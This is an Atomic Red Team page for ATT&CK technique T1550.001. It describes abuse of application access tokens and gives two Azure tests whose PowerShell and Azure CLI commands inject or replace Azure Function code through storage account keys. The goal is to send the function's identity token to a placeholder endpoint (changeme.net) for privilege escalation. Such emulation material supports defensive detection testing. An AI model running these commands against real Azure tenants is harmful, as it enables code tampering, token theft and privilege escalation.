Skip to content
Atomic Red Team
atomics
T1550.001

T1550.001 - Use Alternate Authentication Material: Application Access Token

Description from ATT&CK (opens in a new tab)

Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.

Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019)

OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)

For example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)

Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)

Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. For example, in AWS environments, an adversary who compromises a user’s AWS API credentials may be able to use the sts:GetFederationToken API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence) Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.

Atomic Tests


Atomic Test #1 - Azure - Functions code upload - Functions code injection via Blob upload

This test injects code into an Azure Function (RCE).

Attack idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/ (opens in a new tab)

Similar to T1550.001 "Azure - Functions code upload - Functions code injection to retrieve the Functions identity access token", the depicted code injection scenario tampers the source code of Azure Functions to perform Subscription Privilege Escalation by retrieving the identity access token of an Azure functions instance. In this case, the prepared zip file (underlying package for a Function) is expected to contain the tampered function presented in src/code_to_insert.py. Note that the endpoint https://changeme.net (opens in a new tab) needs to be adapted in your packed function code.

Note:

  • The Azure Function modified in this test must be hosted via Azure Blob storage (Info on storage considerations for Azure Function: https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations (opens in a new tab)).
  • For Function code upload to Azure Functions that are hosted via Azure Files in a File Share, refer to T1550.001 "Azure - Functions code upload - Functions code injection to retrieve the Functions identity access token".
  • The required input fields can be retrieved in a reconnaissance step in test T1619 "Azure - Enumerate Storage Account Objects via Key-based authentication using Azure CLI". The code of function apps may be inspected and prepared from the result of test T1530 "Azure - Dump Azure Storage Account Objects via Azure CLI".

Requirements:

  • The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required.
  • The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions.

Supported Platforms: Iaas:azure

auto_generated_guid: 9a5352e4-56e5-45c2-9b3f-41a46d3b3a43

Inputs:

NameDescriptionTypeDefault Value
storage_account_nameName of storage account that is related to the Functionstringstorage_account_name_example
container_nameName of the container that contains the function blobstringcontainer_name_example
blob_nameName of the function blobstringblob_example
file_path_blobPath to the function code file to upload as blobpath$env:temp/T1550.001_function_code.zip

Attack Commands: Run with powershell!

az login    # Log in to Azure CLI
 
$allowSharedKeyAccess = az storage account show --name "#{storage_account_name}" --query "allowSharedKeyAccess"
 
if ($allowSharedKeyAccess -eq "false") {    # $allowSharedKeyAccess could be true or null
    Write-Output "Shared key access is disabled for this storage account."
} else {    
    $connectionString = az storage account show-connection-string --name "#{storage_account_name}" --query connectionString --output tsv
 
    # Download blob for cleanup
    $tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + "#{blob_name}")
    az storage blob download --connection-string $connectionString --container-name "#{container_name}" --name "#{blob_name}" --file $tmpOriginalFunctionCode --overwrite true
 
    if ($LASTEXITCODE -eq 0) {
        # Upload new blob version if download of existing blob succeeded
        az storage blob upload --connection-string $connectionString --container-name "#{container_name}" --name "#{blob_name}" --file "#{file_path_blob}" --overwrite true
    } else {
        Write-Output "Download original function code failed."
        exit 1
    }
}

Cleanup Commands:

az login    # Log in to Azure CLI
 
# Upload previous funciton code
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + "#{blob_name}")
az storage blob upload --account-name "#{storage_account_name}" --container-name "#{container_name}" --file $tmpOriginalFunctionCode --name "#{blob_name}" --overwrite true 2>$null
 
if ($LASTEXITCODE -eq 0) {
    Write-Output "Uploaded original version of function code."
 
    # Delete tmp original blob file if upload succeeded
    Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
    Write-Output "Deleted tmp original blob file: $($tmpOriginalFunctionCode)"
} else {
    Write-Output "Upload original function code failed."
}

Dependencies: Run with powershell!

Description: Azure CLI must be installed
Check Prereq Commands:
try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
Get Prereq Commands:
Install-Module -Name Az -Force


Atomic Test #2 - Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token

This test injects code into an Azure Function (RCE) to perform Subscription Privilege Escalation by retrieving the identity access token of an Azure functions instance.

Attack idea/reference: https://orca.security/resources/blog/azure-shared-key-authorization-exploitation/ (opens in a new tab)

Once executed, the "https://changeme (opens in a new tab)" will retrieve the access token when the function app is executed on behalf of the tenant. The function may be triggered manually from authorized people, triggered in regular intervals, or in various other ways. The access token can then be used to perform further attack steps with the permissions that the function app holds (e.g. listening virtual machines).

Note:

  • The Azure Function modified in this test must be hosted via Azure Files in a File Share (Info on storage considerations for Azure Function: https://learn.microsoft.com/en-us/azure/azure-functions/storage-considerations (opens in a new tab)).
  • For Function code upload to Azure Functions that are hosted via Azure Blob storage, refer to T1550.001 "Azure - Functions code upload - Functions code injection via Blob upload".
  • The required input fields can be retrieved in a reconnaissance step in test T1619 "Azure - Enumerate Storage Account Objects via Key-based authentication using Azure CLI". The code of function apps may be inspected and prepared from the result of test T1530 "Azure - Dump Azure Storage Account Objects via Azure CLI".
  • Important: Change the https://changeme.net (opens in a new tab) in code_to_insert_path to a self-controlled endpoint. This endpoint can be hosted e.g. as request bin via Pipedream to display the body of incoming POST requests.
  • The default injected code to retrieve the access token can be replaced by arbitrary other code. In this case: Replace the code defined in code_to_insert_path

Requirements:

  • The test is intended to be executed in interactive mode (with -Interactive parameter) in order to complete the az login command when MFA is required.
  • The EntraID user must have the role "Storage Account Contributor", or a role with similar permissions.

Execution options: Defined by the input field execution_option

  • insert_code: This option (1) downloads the existing funciton code into a tmp file, (2) injects the code from code_to_insert_path at the beginning of the file, and (3) uploads the tampered file to the targeted Azure Function code (Azure File Share File).
  • replace_file: This option uploads the function code defined in code_to_insert_path to the targeted Azure Function code (Azure File Share File).

Supported Platforms: Iaas:azure

auto_generated_guid: 67aaf4cb-54ce-42e2-ab56-e0a9bcc089b1

Inputs:

NameDescriptionTypeDefault Value
storage_account_nameName of storage account that is related to the Functionstringstorage_account_name_example
execution_optionChooses execution option insert_code, or replace_filestringinsert_code
file_share_nameName of the file share that is related to the Functionstringfile_share_name_example
file_pathPath to the Function file in the file sharepathsite/wwwroot/function_app.py
code_to_insert_pathThe code that will be injected into the Functionpath$PathToAtomicsFolder/T1550.001/src/code_to_insert.py

Attack Commands: Run with powershell!

az login    # Log in to Azure CLI
 
$allowSharedKeyAccess = az storage account show --name "#{storage_account_name}" --query "allowSharedKeyAccess"
 
if ($allowSharedKeyAccess -eq "false") {    # $allowSharedKeyAccess could be true or null
    Write-Output "Shared key access is disabled for this storage account."
} else {
    # Download file for cleanup
    $tmpOriginalFileName = [System.IO.Path]::GetFileName("#{file_path}")
    $tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + $tmpOriginalFileName)
    az storage file download --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --only-show-errors --dest $tmpOriginalFunctionCode
 
    if ($LASTEXITCODE -eq 0) {
        # Upload new funciton code if download of existing code succeeded
        if ("#{execution_option}" -eq "insert_code") {
            # Download file from file share for injection
            $tmpFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_to_inject_" + $tmpOriginalFileName)
            az storage file download --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --only-show-errors --dest $tmpFunctionCode
            
            if ($LASTEXITCODE -ne 0) {
                Write-Output "Function code download failed."
                exit 1
            }
            Write-Output "File downloaded: $($tmpFunctionCode)"
            
            $insertContent = Get-Content -Path "#{code_to_insert_path}" -Raw  # Load the content of the insert file
            
            $content = Get-Content -Path $tmpFunctionCode -Raw  # Inject code to file
            $content = $insertContent + "`n" + $content     # Insert the new code at the beginning
            $content | Set-Content -Path $tmpFunctionCode       # Write the modified content to the file
            
            # Upload file to file share
            az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source $tmpFunctionCode --only-show-errors
            if ($LASTEXITCODE -ne 0) {
                Write-Output "Function code upload failed."
                exit 1
            }
            Write-Output "Uploaded the tampered file"
        } elseif ("#{execution_option}" -eq "replace_file") {
            az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source "#{code_to_insert_path}" --only-show-errors
            if ($LASTEXITCODE -ne 0) {
                Write-Output "Function code upload failed."
                exit 1
            }
            Write-Output "Uploaded the tampered file"
        } else {
            Write-Output "Please choose a valid execution_option"
            exit 1
        }
    } else {
        Write-Output "Download original function code failed."
        exit 1
    }
}

Cleanup Commands:

az login    # Log in to Azure CLI
 
# Upload previous funciton code
$tmpOriginalFileName = [System.IO.Path]::GetFileName("#{file_path}")
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_original_" + $tmpOriginalFileName)
az storage file upload --account-name "#{storage_account_name}" --share-name "#{file_share_name}" -p "#{file_path}" --source $tmpOriginalFunctionCode --only-show-errors 2>$null
 
if ($LASTEXITCODE -eq 0) {
    Write-Output "Uploaded original version of function code."
 
    # Delete tmp original f file if upload succeeded
    if ("#{execution_option}" -eq "insert_code") {
        $tmpFunctionCode = Join-Path $env:temp/ ("T1550.001_tmp_to_inject_" + $tmpOriginalFileName)
        Remove-Item -Path $tmpFunctionCode -Force -erroraction silentlycontinue
        Write-Output "Deleted tmp file: $($tmpFunctionCode)"
    }
 
    # Delete tmp original file
    Remove-Item -Path $tmpOriginalFunctionCode -Force -erroraction silentlycontinue
    Write-Output "Deleted tmp original file: $($tmpOriginalFunctionCode)"
} else {
    Write-Output "Upload original function code failed."
}

Dependencies: Run with powershell!

Description: Azure CLI must be installed
Check Prereq Commands:
try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
Get Prereq Commands:
Install-Module -Name Az -Force